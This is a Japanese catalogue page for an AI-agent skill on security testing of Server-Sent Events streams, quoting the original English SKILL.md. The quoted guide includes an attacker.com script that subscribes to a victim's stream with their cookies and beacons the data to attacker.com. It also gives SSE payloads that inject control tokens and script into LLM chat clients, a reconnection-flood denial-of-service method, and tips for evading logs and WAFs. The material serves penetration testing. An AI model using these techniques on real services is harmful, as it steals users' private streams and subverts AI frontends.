api-server-sent-events
できること
このガイドは、サーバーからブラウザへの一方向のストリームであるサーバー送信イベントのセキュリティチェックを扱います。チャットツールやライブのダッシュボードに使われます。ストリーミング機能を作るかテストするチーム向けです。
使う場面
- ✓チャットやライブのダッシュボードがサーバー送信イベントを使い、セキュリティのレビューが必要なとき。
- ✓別のWebサイトが、訪問者のログインを使ってストリームを読めないかを確認したいとき。
- ✓ストリームされたメッセージを、AIモデルに渡すクライアントアプリがあり、注入されたコンテンツを確認する必要があるとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“当社のライブダッシュボードはサーバー送信イベントを使っています。別のWebサイトがそのストリームを読めないかを確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、ストリームのレスポンスヘッダーとオリジンのルールを確認し、別のサイトからのリクエストがデータを読むことを許されているかをテストします。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Server-Sent Events (SSE) Attack Surface
SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
Detect
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)
Top bug classes
1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)
EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
3. Reconnection token leak via Last-Event-ID
SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...
4. Retry timing DoS
Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
5. Fragmenting events past content-type sniffers
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
Tooling
# curl with --no-buffer for live view
curl -sk -N https://target/stream
# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.
OPSEC
- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.
- WAFs typically don't inspect SSE bodies (they exit early on
Connection: keep-alive+text/event-stream).
References
- WHATWG HTML Living Standard — Server-Sent Events section
- "SSE Considered Harmful?" — Detectify research blog
- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns
よくある質問
サーバー送信イベントとは何ですか?
サーバーが一つの開いた応答を通じて更新を送り続ける、一方向のストリームです。
オリジンのヘッダーはなぜ重要なのですか?
オリジンのヘッダーがないか、範囲が広すぎると、別のサイトがストリームを読めてしまうとガイドは述べています。
AIチャットツールも扱いますか?
はい。ストリームされたメッセージが言語モデルのクライアントに渡される場合のプロンプトインジェクションのリスクに触れています。
詳細
作者による元の説明
Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14025
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。